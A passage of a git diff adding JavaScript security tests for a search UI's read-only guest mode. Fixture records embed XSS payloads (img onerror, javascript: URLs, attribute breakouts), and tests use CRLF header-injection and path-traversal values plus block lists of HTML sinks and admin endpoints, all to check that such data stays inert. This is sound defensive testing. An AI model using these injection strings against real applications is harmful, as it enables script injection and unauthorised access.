HOSTILE_FRAGMENTS.slice(0, 3), email_subject: HOSTILE_FRAGMENTS.slice(3) },+};++export const hostileAttachment = {+ _index: 'ax-inbox',+ _id: 'att-1',+ _score: 1.1,+ _source: {+ attachment_name: `"><img src=x onerror=${PWN}>.pdf`,+ attachment_content_type: `application/pdf${PAYLOADS.script}`,+ attachment_bytes: `1024${PAYLOADS.imgOnerror}`,+ page: 2,+ email_message_id: hostileEmail._source.email_message_id,+ email_from: hostileEmail._source.email_from,+ email_subject: hostileEmail._source.email_subject,+ email_date: '2026-09-01T10:00:00Z',+ body: `Page two.\n${PAYLOADS.svgScript}\n${PAYLOADS.anchor}\n${PAYLOADS.mdLink}`,+ },+};++export const hostileAttachment2 = {+ _index: 'ax-inbox',+ _id: 'att-2',+ _score: 1.0,+ _source: {+ attachment_name: `javascript:${PWN}//.html`,+ attachment_content_type: 'text/html',+ attachment_bytes: 77,+ email_message_id: hostileEmail._source.email_message_id,+ email_from: hostileEmail._source.email_from,+ },+};++export const hostilePdf = {+ _index: 'ax-inbox', _id: 'pdf-1', _score: 0.9,+ _source: { page: 1, title: `Contract ${PAYLOADS.details}`, ax_path: `docs/${PAYLOADS.base}.pdf`, ax_format: 'pdf', body: ALL_PAYLOADS },+};++export const hostileCode = {+ _index: 'ax-inbox', _id: 'sym-1', _score: 0.8,+ _source: { name: `run${PAYLOADS.script}`, kind: `fn${PAYLOADS.imgOnerror}`, language: `rust${PAYLOADS.svgOnload}`, line: `7${PAYLOADS.attrBreakout}`, path: `src/${PAYLOADS.attrBreakout}.rs`, code: `fn run() { /* ${ALL_PAYLOADS} */ }` },+};++export const hostileGeneric = {+ _index: 'ax-inbox', _id: 'gen-1', _score: 0.7,+ _source: { [`key${PAYLOADS.imgOnerror}`]: PAYLOADS.script, nested: { [PAYLOADS.attrBreakout]: [PAYLOADS.svgOnload] }, body_vector: [0.1, 0.2] },+};++/** The per-FILE record autoindex writes (`ax_locator: "file"`, no text): what+ * file-level graph edges point at. Its path is a filename — attacker-chosen. */+export const HOSTILE_AX_FILE = 'axf2-hostile-0001';+export const hostileFile = {+ _index: 'ax-inbox', _id: 'file-1', _score: 0.6,+ _source: { title: `05${PAYLOADS.script}.eml`, ax_path: `inbox/${PAYLOADS.attrBreakout}.eml`, ax_file: HOSTILE_AX_FILE, ax_locator: 'file', ax_format: `eml${PAYLOADS.imgOnerror}`, ax_dataset: 'docs' },+};+hostileEmail._source.ax_file = HOSTILE_AX_FILE;+hostileEmail._source.ax_locator = 'msg-s0';+// …and its attachments, as extract/eml.rs numbers them: every record of one+// .eml shares the file's `ax_file`; the locator carries the attachment ordinal.+hostileAttachment._source.ax_file = HOSTILE_AX_FILE;+hostileAttachment._source.ax_locator = 'att0-p2-s0';+hostileAttachment2._source.ax_file = HOSTILE_AX_FILE;+hostileAttachment2._source.ax_locator = 'att1-card';++export const HOSTILE_HITS = [hostileEmail, hostileAttachment, hostileAttachment2, hostilePdf, hostileCode, hostileGeneric, hostileFile];++/** `GET /_graph/{brain}/ego` — every string a linked FILE controls. */+export const hostileEgo = {+ node: HOSTILE_ID,+ edges: [+ { src: HOSTILE_ID, dst: 'att-1', type: `shared_term`, hop: 1, edge_id: 'e1', weight: 1 },+ { src: 'pdf-1', dst: HOSTILE_ID, type: `<img src=x onerror=${PWN}>`, hop: 1, edge_id: `e2"><script>${PWN}</script>`, weight: 0.5 },+ { src: HOSTILE_ID, dst: `javascript:${PWN}`, type: 'href', hop: 1, edge_id: 'e3' },+ ],+ nodes: {+ 'att-1': { index: 'ax-inbox', title: PAYLOADS.script, path: PAYLOADS.attrBreakout, preview: ALL_PAYLOADS },+ 'pdf-1': { index: `other-index"><img src=x onerror=${PWN}>`, title: PAYLOADS.svgOnload, preview: PAYLOADS.iframeJs },+ [`javascript:${PWN}`]: { title: PAYLOADS.jsUrl, preview: PAYLOADS.dataUrl },+ },+ not_shown: { edges_clipped: 0, frontier_clipped: 0, dangling_nodes: 0 },+};++/** An `autoindex-catalog` dataset document whose every free-text value is+ * document-derived (sample queries come from the corpus's own terms, field+ * examples are document values, a format is a file extension). */+export const hostileCatalogHit = {+ _index: 'autoindex-catalog',+ _id: 'dataset-ax-inbox',+ _source: {+ doc_kind: 'dataset',+ index_name: 'ax-inbox',+ slug: `inbox${PAYLOADS.imgOnerror}`,+ formats: ['eml', `pdf${PAYLOADS.script}`],+ record_count: 6, file_count: 3, bytes: 123456, junk_records: 1,+ time_field: `email_date${PAYLOADS.attrBreakout}`,+ time_min: `2026-01-01${PAYLOADS.imgOnerror}`, time_max: '2026-09-01',+ semantic_field: `body${PAYLOADS.svgOnload}`,+ fields_json: JSON.stringify([+ { name: `email_from${PAYLOADS.imgOnerror}`, es_type: `keyword${PAYLOADS.script}`, coverage: 1, examples: [PAYLOADS.attrBreakout, PAYLOADS.eventAttr] },+ { name: 'body', es_type: 'semantic_text', semantic: true, coverage: 1, examples: [PAYLOADS.script] },+ ]),+ sample_queries_json: [+ JSON.stringify({ class: 'fulltext', title: `T ${PAYLOADS.attrBreakout}`, request: 'POST /ax-inbox/_search', body: { query: { match: { body: `invoice ${PAYLOADS.imgOnerror}` } } } }),+ JSON.stringify({ class: 'term', title: 't', body: { query: { term: { email_from: `x"}]});${PWN}//` } } } }),+ // A sample written for a field the Reader would not search on its own+ // (a keyword that is not title-like): its field must ride along.+ JSON.stringify({ class: 'fulltext', title: 'by format', body: { query: { match: { ax_format: 'samplefieldword' } }, size: 3 } }),+ ],+ notes: [PAYLOADS.script],+ },+};++/** Text an engine puts in a 403 body — names the resource and the grant that+ * would fix it. A guest must never be shown any of it. */+export const ENGINE_403_BODY = {+ error: {+ type: 'security_exception',+ reason: 'action [indices:data/read/search] is unauthorized for API key id [SECRET-KEY-ID-7731] on indices [hr-salaries-2026], this action is granted by the index privileges [read]',+ },+ status: 403,+};+export const LEAK_MARKERS = ['SECRET-KEY-ID-7731', 'hr-salaries-2026', 'security_exception', 'granted by the index privileges'];diff --git a/xerj-ux/test/fixtures/inert.mjs b/xerj-ux/test/fixtures/inert.mjsnew file mode 100644index 000000000..e1451b73c--- /dev/null+++ b/xerj-ux/test/fixtures/inert.mjs@@ -0,0 +1,36 @@+// Assertions shared by the render tests: is this safe-dom node tree inert?+import assert from 'node:assert/strict';+import { TAGS, attrAllowed, walk, textOf } from '../../src/ux/safe-dom.js';++/** Tags that load a resource, run script, or submit somewhere. None of them+ * is in TAGS; listed so a future "just add <img>" fails HERE with a reason. */+export const FORBIDDEN_TAGS = ['script', 'img', 'svg', 'iframe', 'object', 'embed', 'style', 'link', 'meta', 'base', 'form', 'video', 'audio', 'source', 'math', 'template', 'frame', 'frameset', 'applet', 'textarea', 'details', 'animate', 'image'];+export const FORBIDDEN_ATTRS = ['style', 'src', 'srcset', 'srcdoc', 'action', 'formaction', 'background', 'poster', 'ping', 'xlink:href', 'target', 'download', 'is', 'nonce', 'integrity', 'sandbox', 'allow'];++export function assertInert(tree, label = 'tree') {+ let nodes = 0;+ walk(tree, (n) => {+ nodes++;+ assert.ok(TAGS.has(n.tag), `${label}: <${n.tag}> is not an allowed tag`);+ assert.ok(!FORBIDDEN_TAGS.includes(n.tag), `${label}: <${n.tag}> must never be rendered`);+ for (const [k, v] of Object.entries(n.attrs)) {+ assert.ok(attrAllowed(k), `${label}: attribute ${k} is not allowed`);+ assert.ok(!/^on/i.test(k), `${label}: event-handler attribute ${k}`);+ assert.ok(!FORBIDDEN_ATTRS.includes(k.toLowerCase()), `${label}: attribute ${k} must never be set`);+ assert.equal(typeof v, 'string', `${label}: attribute ${k} must be a string`);+ if (k === 'href') assert.ok(v.startsWith('#/'), `${label}: href must be an in-app hash route, got ${JSON.stringify(v.slice(0, 60))}`);+ }+ for (const c of n.children) {+ assert.ok(typeof c === 'string' || (c && c.$ === 'node'), `${label}: child is neither text nor a node`);+ }+ });+ assert.ok(nodes > 0, `${label}: rendered nothing`);+ return textOf(tree);+}++/** The payload must be on the page AS TEXT (so the person sees what the+ * document really says) — not dropped, and not turned into elements. */+export function assertShownAsText(tree, needle, label = 'tree') {+ const text = textOf(tree);+ assert.ok(text.includes(needle), `${label}: expected the literal text ${JSON.stringify(needle.slice(0, 50))}… to be displayed`);+}diff --git a/xerj-ux/test/fixtures/mini-engine.mjs b/xerj-ux/test/fixtures/mini-engine.mjsnew file mode 100644index 000000000..1acd8f464--- /dev/null+++ b/xerj-ux/test/fixtures/mini-engine.mjs@@ -0,0 +1,64 @@+// A small in-memory `_search` for the reader-api tests: bool filter / must_not+// over term · terms · exists · prefix · wildcard · ids, `sort` on one keyword field,+// `from` / `size`, `_source` includes — and, unlike a canned response, a+// `hits.total` that is the number of MATCHES, not the number returned. The+// review of PR #945 found a truncation bug that a transport answering+// `total = hits.length` could never show.+const asList = (v) => (Array.isArray(v) ? v : (v ? [v] : []));++function matches(doc, clause) {+ const s = doc._source || {};+ if (!clause || typeof clause !== 'object') return true;+ if (clause.match_all) return true;+ if (clause.ids) return asList(clause.ids.values).includes(doc._id);+ if (clause.term) return Object.entries(clause.term).every(([k, v]) => s[k] === (v && typeof v === 'object' ? v.value : v));+ if (clause.terms) return Object.entries(clause.terms).every(([k, v]) => asList(v).includes(s[k]));+ if (clause.exists) return s[clause.exists.field] != null && s[clause.exists.field] !== '';+ if (clause.prefix) return Object.entries(clause.prefix).every(([k, v]) => typeof s[k] === 'string' && s[k].startsWith(v && typeof v === 'object' ? v.value : v));+ if (clause.wildcard) {+ // keyword `wildcard`: `*` = any run, `?` = one character, over the WHOLE value+ return Object.entries(clause.wildcard).every(([k, v]) => {+ const pat = v && typeof v === 'object' ? v.value : v;+ const re = new RegExp(`^${String(pat).replace(/[.+^${}()|[\]\\]/g, '\\$&').replace(/\*/g, '.*').replace(/\?/g, '.')}$`, v && v.case_insensitive ? 'is' : 's');+ return typeof s[k] === 'string' && re.test(s[k]);+ });+ }+ if (clause.bool) {+ const b = clause.bool;+ return asList(b.filter).every((c) => matches(doc, c)) && asList(b.must).every((c) => matches(doc, c))+ && !asList(b.must_not).some((c) => matches(doc, c))+ && (!asList(b.should).length || !b.minimum_should_match || asList(b.should).some((c) => matches(doc, c)));+ }+ throw new Error(`mini-engine: unsupported clause ${JSON.stringify(clause)}`);+}++/** Answer one `_search` body over `docs`. */+export function miniSearch(docs, body = {}) {+ let hits = docs.filter((d) => matches(d, body.query || { match_all: {} }));+ const sort = asList(body.sort)[0];+ if (sort) {+ const [field, dir] = typeof sort === 'string' ? [sort, 'asc'] : Object.entries(sort)[0];+ const sign = (dir && typeof dir === 'object' ? dir.order : dir) === 'desc' ? -1 : 1;+ // keyword order: plain code-unit comparison, like the engine ("p10" < "p2")+ hits = [...hits].sort((a, b) => { const x = String(a._source[field] ?? ''), y = String(b._source[field] ?? ''); return sign * (x < y ? -1 : x > y ? 1 : 0); });+ }+ const total = hits.length;+ const from = Number(body.from) || 0;+ const size = body.size == null ? 10 : Number(body.size);+ const inc = Array.isArray(body._source) ? body._source : null;+ const page = hits.slice(from, from + size).map((h) => ({+ _index: h._index, _id: h._id, _score: 1,+ _source: inc ? Object.fromEntries(Object.entries(h._source).filter(([k]) => inc.includes(k))) : h._source,+ }));+ return { took: 1, hits: { total: { value: total, relation: 'eq' }, hits: page } };+}++/** A reader transport over `docs` that records every request body. */+export function miniTransport(docs, { guest = false, brain } = {}) {+ const calls = [];+ return {+ calls, guest, brain,+ async search(index, body) { calls.push(body); return miniSearch(docs.filter((d) => d._index === index), body); },+ async ego() { return { status: 200, body: { edges: [], nodes: {}, not_shown: {} } }; },+ };+}diff --git a/xerj-ux/test/guest-graph.test.mjs b/xerj-ux/test/guest-graph.test.mjsnew file mode 100644index 000000000..f1b85cf19--- /dev/null+++ b/xerj-ux/test/guest-graph.test.mjs@@ -0,0 +1,165 @@+// Structural guarantees, checked against the SOURCE:+//+// 1. The guest shell's import graph contains no operator module. A guest+// must never call an admin / console endpoint — the simplest proof is+// that the code which knows those endpoints is not loaded at all.+// 2. Nothing in that graph (nor the operator-side reader/corpus glue)+// contains an HTML-parsing sink. Record data can only become text nodes.+// 3. The console page has no inline script (it is served with+// `script-src 'self'`), and boot.js decides guest-vs-operator BEFORE any+// console API call.+// 4. No view shows fabricated documents: `mockSearch` is gone.+//+// Run: node --test xerj-ux/test/+import test from 'node:test';+import assert from 'node:assert/strict';+import { readFileSync, existsSync, readdirSync, statSync } from 'node:fs';+import { dirname, resolve, relative, join } from 'node:path';+import { fileURLToPath } from 'node:url';++const ROOT = resolve(dirname(fileURLToPath(import.meta.url)), '..');+const SRC = join(ROOT, 'src');+const rel = (p) => relative(ROOT, p).split('\\').join('/');++/** Strip comments so prose ABOUT a sink ("never innerHTML") is not a hit. */+function code(file) {+ return readFileSync(file, 'utf8')+ .replace(/\/\*[\s\S]*?\*\//g, '')+ .replace(/(^|[^:'"`\\])\/\/.*$/gm, '$1');+}++function importsOf(file) {+ const src = code(file);+ const out = [];+ const re = /(?:import|export)\s+(?:[^'"()]*?\sfrom\s+)?['"]([^'"]+)['"]|import\(\s*['"]([^'"]+)['"]\s*\)/g;+ let m;+ while ((m = re.exec(src))) {+ const spec = m[1] || m[2];+ assert.ok(spec.startsWith('.'), `${rel(file)} imports a bare/absolute specifier: ${spec}`);+ const target = resolve(dirname(file), spec);+ assert.ok(existsSync(target), `${rel(file)} imports a file that does not exist: ${spec}`);+ out.push(target);+ }+ return out;+}++function graph(entry) {+ const seen = new Set();+ const stack = [entry];+ while (stack.length) {+ const f = stack.pop();+ if (seen.has(f)) continue;+ seen.add(f);+ for (const dep of importsOf(f)) stack.push(dep);+ }+ return [...seen].map(rel).sort();+}++const GUEST_GRAPH = graph(join(SRC, 'guest-app.js'));++test('the guest shell imports only what a viewer needs', () => {+ assert.deepEqual(GUEST_GRAPH, [+ 'src/data/catalog.js',+ 'src/data/guest.js',+ 'src/data/reader-api.js',+ 'src/data/schema-roles.js',+ 'src/data/search-body.js',+ 'src/data/transport-guest.js',+ 'src/guest-app.js',+ 'src/ux/corpus-render.js',+ 'src/ux/reader-render.js',+ 'src/ux/reader-view.js',+ 'src/ux/safe-dom.js',+ ], 'a new import into the guest shell is a security review, not a drive-by — update this list deliberately');+});++test('no module the guest loads knows a console / admin / cluster endpoint', () => {+ const FORBIDDEN = [/_xerj-console\/api/, /\/_cat\b/, /\/_cluster\b/, /\/_security\b/, /\/_nodes\b/, /\/v1\/metrics/, /\/_bulk\b/, /\/_doc\b/, /\/_update\b/, /_delete_by_query/, /\/_memory\b/, /\/_share\b/, /localStorage/, /document\.cookie/, /credentials:\s*['"](?:include|same-origin)['"]/];+ for (const f of GUEST_GRAPH) {+ const src = code(join(ROOT, f));+ for (const re of FORBIDDEN) assert.ok(!re.test(src), `${f} mentions ${re} — a guest must have no code path to it`);+ }+ // …and the only place a guest request is made is guestRequest.+ const fetchers = GUEST_GRAPH.filter((f) => /\bfetch\s*\(|\bdoFetch\s*\(|XMLHttpRequest|sendBeacon|WebSocket|EventSource/.test(code(join(ROOT, f))));+ assert.deepEqual(fetchers, ['src/data/guest.js'], 'every guest request goes through data/guest.js');+ const guest = code(join(SRC, 'data/guest.js'));+ // guest.js GUARDS XMLHttpRequest and sendBeacon (installGuestGuard wraps+ // them) but never USES them, and knows no WebSocket / EventSource at all.+ assert.ok(!/new\s+(XMLHttpRequest|WebSocket|EventSource)\s*\(|navigator\.sendBeacon\s*\(|\.send\s*\(/.test(guest), 'guest.js makes no request outside fetch');+ assert.ok(!/WebSocket|EventSource/.test(guest));+ const guard = guest.slice(guest.indexOf('export function installGuestGuard'));+ assert.ok(/XMLHttpRequest/.test(guard) && /sendBeacon/.test(guard), 'the guard covers XHR and beacons');+ assert.ok(!/XMLHttpRequest|sendBeacon/.test(guest.slice(0, guest.indexOf('export function installGuestGuard')).replace(/\/\*[\s\S]*?\*\/|\/\/.*$/gm, '')), 'and nothing before it mentions them');+ assert.ok(/credentials:\s*'omit'/.test(guest), 'guest requests never carry a session cookie');+});++const SINKS = [+ /\.innerHTML\b/, /\.outerHTML\b/, /insertAdjacentHTML/, /document\.write/, /DOMParser/, /createContextualFragment/, /\bsrcdoc\b/,+ /\beval\s*\(/, /new\s+Function\s*\(/, /setTimeout\s*\(\s*['"`]/, /setInterval\s*\(\s*['"`]/, /\.setAttribute\(\s*['"`]on/i,+ /javascript:/i, /\bRange\b.*createContextual/, /\$\(\s*['"`]</, /dangerouslySetInnerHTML/, /\.html\s*\(/,+];++test('no HTML-parsing sink anywhere record data flows', () => {+ // The whole guest graph, plus the operator-side glue for the same views.+ const files = new Set([...GUEST_GRAPH, 'src/dashboards/corpus.js', 'src/dashboards/reader.js', 'src/data/transport-console.js', 'src/data/console-index-api.js', 'src/boot.js', 'src/theme-boot.js']);+ for (const f of files) {+ const src = code(join(ROOT, f));+ for (const re of SINKS) assert.ok(!re.test(src), `${f} contains a markup/script sink: ${re}`);+ }+ // safe-dom builds DOM with exactly these calls.+ const sd = code(join(SRC, 'ux/safe-dom.js'));+ for (const call of ['createElement', 'createTextNode', 'setAttribute', 'replaceChildren']) assert.ok(sd.includes(call), call);+});++test('the operator shell hands record data to safe-dom, never to its own HTML strings', () => {+ const app = code(join(SRC, 'app.js'));+ assert.ok(/mountSafePanels\(/.test(app));+ assert.ok(!/renderRecord|renderResultCard|renderResultList|renderGraphPanel|renderCorpusCard/.test(app), 'app.js must not call the pure renderers itself (their output is a node tree, not a string)');+ for (const f of ['src/dashboards/corpus.js', 'src/dashboards/reader.js']) {+ const src = code(join(ROOT, f));+ assert.ok(!/\$\{/.test(src.replace(/`[^`]*DATASET\$\{[^`]*`/g, '')) || !/<[a-z]/.test(src.match(/`[^`]*\$\{[^`]*`/g)?.join('') || ''),+ `${f} interpolates into markup — its panel must stay an empty mount point`);+ assert.ok(/data-safe-mount=/.test(src));+ }+});++test('the console page has no inline script and boots through boot.js', () => {+ const html = readFileSync(join(ROOT, 'index.html'), 'utf8');+ const tags = html.match(/<script\b[^>]*>/g) || [];+ assert.equal(tags.length, 2);+ for (const t of tags) assert.ok(/\ssrc="src\/[a-z-]+\.js"/.test(t), `inline or unexpected script: ${t}`);+ assert.ok(!/\son[a-z]+\s*=/i.test(html), 'no inline event handlers');+ const bodies = [...html.matchAll(/<script\b[^>]*>([\s\S]*?)<\/script>/g)].map((m) => m[1].trim());+ assert.ok(bodies.every((b) => b === ''), 'script elements must be empty (script-src \'self\')');+});++test('boot.js picks the guest shell before ANY console API call', () => {+ const boot = code(join(SRC, 'boot.js'));+ // Static imports are hoisted: boot.js may statically import only guest.js.+ const statics = [...boot.matchAll(/^import\s[^'"]*['"]([^'"]+)['"]/gm)].map((m) => m[1]);+ assert.deepEqual(statics, ['./data/guest.js']);+ const iGuest = boot.indexOf('hasShareRecord()', boot.indexOf('async function bootOperator'));+ assert.ok(iGuest > 0);+ const tail = boot.slice(boot.lastIndexOf('if (hasShareRecord())'));+ assert.ok(/guest-app\.js/.test(tail) && /else\s*\{\s*await bootOperator\(\);?\s*\}/.test(tail), 'guest → guest-app.js, otherwise → operator');+ // the operator path (and only it) knows /me, sync, the dashboard store, app.js+ const op = boot.slice(boot.indexOf('async function bootOperator'), boot.lastIndexOf('if (hasShareRecord())'));+ for (const s of ['/_xerj-console/api/v1/me', 'xerj-console-sync.js', 'dashboard-store.js', './app.js']) {+ assert.ok(op.includes(s), s);+ assert.ok(!tail.includes(s), `${s} must not be reachable from the guest branch`);+ }+});++test('no fabricated search results: mockSearch is gone, document views never fall back to mock', async () => {+ const walk = (dir) => readdirSync(dir).flatMap((n) => { const p = join(dir, n); return statSync(p).isDirectory() ? walk(p) : (p.endsWith('.js') ? [p] : []); });+ for (const f of walk(SRC)) {+ assert.ok(!/\bmockSearch\b/.test(code(f)), `${rel(f)} still references mockSearch`);+ }+ const q = code(join(SRC, 'data/query.js'));+ assert.ok(/NEVER_MOCK\s*=\s*new Set\(\[\s*'corpus',\s*'reader',\s*'search-discover'\s*\]\)/.test(q));+ const sd = code(join(SRC, 'dashboards/search-discover.js'));+ for (const gone of ['buildPlan', 'QueryPlanTree', '52.4M', '18.9M', 'chat-events', 'logs-ssh-auth', "'knn'"]) {+ assert.ok(!sd.includes(gone), `search-discover.js still contains ${gone}`);+ }+ assert.ok(!existsSync(join(SRC, 'dashboards/case-review.js')) && !existsSync(join(SRC, 'data/email-probe.js')));+});diff --git a/xerj-ux/test/guest.test.mjs b/xerj-ux/test/guest.test.mjsnew file mode 100644index 000000000..13f834730--- /dev/null+++ b/xerj-ux/test/guest.test.mjs@@ -0,0 +1,399 @@+// data/guest.js — the share-link guest contract, from the UI side.+// sessionStorage['xerj.share'] = {api_key, index, brain, expires_at, label}+// Run: node --test xerj-ux/test/+import test from 'node:test';+import assert from 'node:assert/strict';+import {+ SHARE_KEY, parseShare, readShare, clearShare, isExpired, guestBanner, fmtRemaining, guestAuthHeader,+ guestUrl, guestIndexExpr, guestAllows, guestRequest, GuestError, GUEST_OPS, installGuestGuard, watchExpiry, validName,+} from '../src/data/guest.js';+import { makeGuestTransport } from '../src/data/transport-guest.js';+import { makeReaderApi, FATAL_KINDS } from '../src/data/reader-api.js';+import { ENGINE_403_BODY, LEAK_MARKERS } from './fixtures/hostile.mjs';++const NOW = Date.parse('2026-09-18T12:00:00Z');+const KEY = 'aWQtMTIzNDU2Nzg5MDpzZWNyZXQtc2VjcmV0LXNlY3JldA==';+const record = (over = {}) => ({ api_key: KEY, index: 'ax-inbox', brain: 'inbox', expires_at: '2026-09-25T18:00:00Z', label: 'Q3 board pack', ...over });+const share = (over) => parseShare(record(over), NOW);++function storage(initial = {}) {+ const m = new Map(Object.entries(initial));+ return { getItem: (k) => (m.has(k) ? m.get(k) : null), setItem: (k, v) => m.set(k, String(v)), removeItem: (k) => m.delete(k), _m: m };+}++test('the contract record parses', () => {+ const s = share();+ assert.deepEqual(s.indices, ['ax-inbox']);+ assert.equal(s.brain, 'inbox');+ assert.equal(s.label, 'Q3 board pack');+ assert.equal(s.expires_at, Date.parse('2026-09-25T18:00:00Z'));+ assert.equal(guestAuthHeader(s), `ApiKey ${KEY}`);+ assert.ok(Object.isFrozen(s) && Object.isFrozen(s.indices));+ assert.deepEqual(share({ index: 'ax-inbox,ax-contracts, ax-inbox' }).indices, ['ax-inbox', 'ax-contracts']);+ assert.equal(share({ brain: null }).brain, null);+ assert.equal(share({ label: null }).label, 'ax-inbox', 'no label → the index names');+ assert.equal(parseShare(JSON.stringify(record()), NOW).index, 'ax-inbox', 'the stored form is a JSON string');+ assert.equal(share({ expires_at: Date.parse('2026-09-25T18:00:00Z') }).expires_at, Date.parse('2026-09-25T18:00:00Z'));+});++test('FAILS CLOSED: anything less than a complete, unexpired, well-formed record is not a share', () => {+ const bad = {+ 'no key': { api_key: '' },+ 'short key': { api_key: 'abc' },+ 'key with a space (header injection)': { api_key: `${KEY} extra` },+ 'key with CRLF': { api_key: `${KEY}${String.fromCharCode(13, 10)}x-evil: 1` },+ 'no index': { index: '' },+ 'wildcard index': { index: '*' },+ 'pattern index': { index: 'ax-*' },+ '_all': { index: '_all' },+ 'system index': { index: '.xerj_users' },+ 'brain namespace': { index: '.xerj-memory-alice' },+ 'path traversal': { index: '../_cat/indices' },+ 'slash': { index: 'a/b' },+ 'query string': { index: 'a?scroll=1m' },+ 'uppercase': { index: 'AX-Inbox' },+ 'one bad name poisons the list': { index: 'ax-inbox,*' },+ 'too many indices': { index: Array.from({ length: 33 }, (_, i) => `i${i}`).join(',') },+ 'bad brain': { brain: '../x' },+ 'brain pattern': { brain: '*' },+ 'no expiry': { expires_at: null },+ 'missing expiry': { expires_at: undefined },+ 'unparseable expiry': { expires_at: 'next tuesday' },+ 'expired': { expires_at: '2026-09-18T11:59:59Z' },+ 'expires exactly now': { expires_at: '2026-09-18T12:00:00Z' },+ 'negative expiry': { expires_at: -5 },+ };+ for (const [why, over] of Object.entries(bad)) assert.equal(share(over), null, why);+ for (const raw of [null, undefined, '', 'not json', '[]', '"str"', '42', 'null', '{"api_key":1}']) assert.equal(parseShare(raw, NOW), null, String(raw));+ assert.ok(!validName('_all') && !validName('a..b') && !validName('') && !validName(7) && validName('ax-inbox_2.v1'));+});++test('readShare / clearShare tolerate a blocked storage', () => {+ const st = storage({ [SHARE_KEY]: JSON.stringify(record()) });+ assert.equal(readShare(st, NOW).index, 'ax-inbox');+ clearShare(st);+ assert.equal(readShare(st, NOW), null);+ const blocked = { getItem() { throw new Error('denied'); }, removeItem() { throw new Error('denied'); } };+ assert.equal(readShare(blocked, NOW), null);+ assert.doesNotThrow(() => clearShare(blocked));+ assert.equal(readShare(null, NOW), null);+});++test('the banner says guest, read-only, and when it ends', () => {+ const b = guestBanner(share(), NOW);+ assert.match(b, /^Guest · read-only · Q3 board pack · expires 2026-09-25 18:00 UTC \(in 7d 6h\)$/);+ assert.equal(fmtRemaining(0), 'now');+ assert.equal(fmtRemaining(90_000), 'in 1m');+ assert.equal(fmtRemaining(3_700_000), 'in 1h 1m');+ assert.equal(fmtRemaining(5_000), 'in 5s');+ assert.ok(isExpired(share(), share().expires_at) && !isExpired(share(), NOW) && isExpired(null, NOW));+});++test('a guest can build exactly four kinds of URL, all from the share itself', () => {+ const s = share({ index: 'ax-inbox,ax-contracts' });+ assert.deepEqual(Object.keys(GUEST_OPS).sort(), ['count', 'ego', 'mapping', 'search']);+ assert.equal(guestUrl(s, 'search', { indices: ['ax-inbox'] }), '/ax-inbox/_search');+ assert.equal(guestUrl(s, 'search'), '/ax-inbox,ax-contracts/_search');+ assert.equal(guestUrl(s, 'count', { indices: 'ax-contracts' }), '/ax-contracts/_count');+ assert.equal(guestUrl(s, 'mapping', { indices: ['ax-inbox'] }), '/ax-inbox/_mapping');+ assert.equal(guestUrl(s, 'ego', { query: { node: 'a b&c', hops: 1 } }), '/_graph/inbox/ego?node=a+b%26c&hops=1');+ // not part of the share → no URL at all+ for (const idx of ['other', '*', '_all', '.xerj_users', 'ax-inbox,other', '../x', '']) {+ assert.equal(guestUrl(s, 'search', { indices: [idx] }), null, idx);+ assert.equal(guestIndexExpr(s, [idx]), null, idx);+ }+ assert.equal(guestUrl(s, 'search', { indices: [] }), null);+ for (const op of ['delete', '_doc', 'bulk', '__proto__', 'constructor', 'toString', '']) assert.equal(guestUrl(s, op, {}), null, op);+ assert.equal(guestUrl(share({ brain: null }), 'ego', { query: { node: 'x' } }), null, 'no brain in the share → no graph URL');+ assert.equal(guestUrl(null, 'search'), null);+});++test('guestAllows: the fetch guard\'s allow-list', () => {+ const s = share({ index: 'ax-inbox,ax-contracts' });+ const yes = [['POST', '/ax-inbox/_search'], ['POST', '/ax-inbox,ax-contracts/_search'], ['POST', '/ax-contracts/_count'], ['GET', '/ax-inbox/_mapping'], ['GET', '/_graph/inbox/ego'], ['get', '/_graph/inbox/ego']];+ for (const [m, p] of yes) assert.ok(guestAllows(s, m, p), `${m} ${p}`);+ const no = [+ ['GET', '/_xerj-console/api/v1/me'], ['GET', '/_xerj-console/api/v1/prefs'], ['POST', '/_xerj-console/api/v1/data-sources/connections/built-in/indices/ax-inbox/search'],+ ['GET', '/_xerj-console/api/v1/dashboards'], ['GET', '/_cat/indices'], ['GET', '/_cat/indices/.xerj-memory-*'], ['GET', '/_mapping'], ['GET', '/_cluster/health'],+ ['GET', '/v1/metrics'], ['POST', '/_security/api_key'], ['GET', '/_security/_authenticate'], ['POST', '/_search'], ['POST', '/*/_search'], ['POST', '/_all/_search'],+ ['POST', '/other/_search'], ['POST', '/ax-inbox,other/_search'], ['POST', '/.xerj-memory-inbox-edges/_search'], ['GET', '/.xerj-memory-inbox-edges/_doc/__xerj-brain-meta'],+ ['DELETE', '/ax-inbox'], ['PUT', '/ax-inbox/_doc/1'], ['POST', '/ax-inbox/_doc'], ['POST', '/ax-inbox/_bulk'], ['POST', '/ax-inbox/_update/1'], ['POST', '/ax-inbox/_delete_by_query'],+ ['GET', '/ax-inbox/_search'], ['DELETE', '/ax-inbox/_search'], ['POST', '/ax-inbox/_mapping'], ['PUT', '/ax-inbox/_mapping'],+ ['GET', '/_graph/other/ego'], ['POST', '/_graph/inbox/ego'], ['POST', '/_graph/inbox/link'], ['GET', '/_graph/inbox/overview'], ['DELETE', '/_graph/inbox'],+ ['POST', '/ax-inbox/_search/../../_cat/indices'], ['POST', '/ax-inbox/_search/x'], ['POST', '/ax-inbox%2F..%2F_all/_search'], ['POST', '/%/_search'],+ ['GET', '/_share/abc/claim'], ['POST', '/_memory/x/_recall'],+ ];+ for (const [m, p] of no) assert.ok(!guestAllows(s, m, p), `${m} ${p} must be refused`);+ assert.ok(!guestAllows(share({ brain: null }), 'GET', '/_graph/null/ego'));+ assert.ok(!guestAllows(null, 'POST', '/ax-inbox/_search') && !guestAllows(s, 'POST', null));+});++function fakeFetch(respond) {+ const calls = [];+ const f = async (url, init) => { calls.push({ url, init }); return respond(url, init); };+ f.calls = calls;+ return f;+}+const json = (status, body) => ({ status, ok: status >= 200 && status < 300, json: async () => body, text: async () => JSON.stringify(body) });++test('guestRequest attaches the key, omits cookies, and only on a share URL', async () => {+ const s = share();+ const f = fakeFetch(() => json(200, { hits: { total: { value: 0 }, hits: [] } }));+ await guestRequest(s, 'search', { indices: ['ax-inbox'], body: { query: { match_all: {} } } }, { fetch: f, now: () => NOW });+ assert.equal(f.calls.length, 1);+ const { url, init } = f.calls[0];+ assert.equal(url, '/ax-inbox/_search');+ assert.equal(init.method, 'POST');+ assert.equal(init.credentials, 'omit', 'a guest never rides a console session cookie');+ assert.equal(init.referrerPolicy, 'no-referrer');+ assert.equal(init.cache, 'no-store');+ assert.equal(init.headers.authorization, `ApiKey ${KEY}`);+ assert.deepEqual(JSON.parse(init.body), { query: { 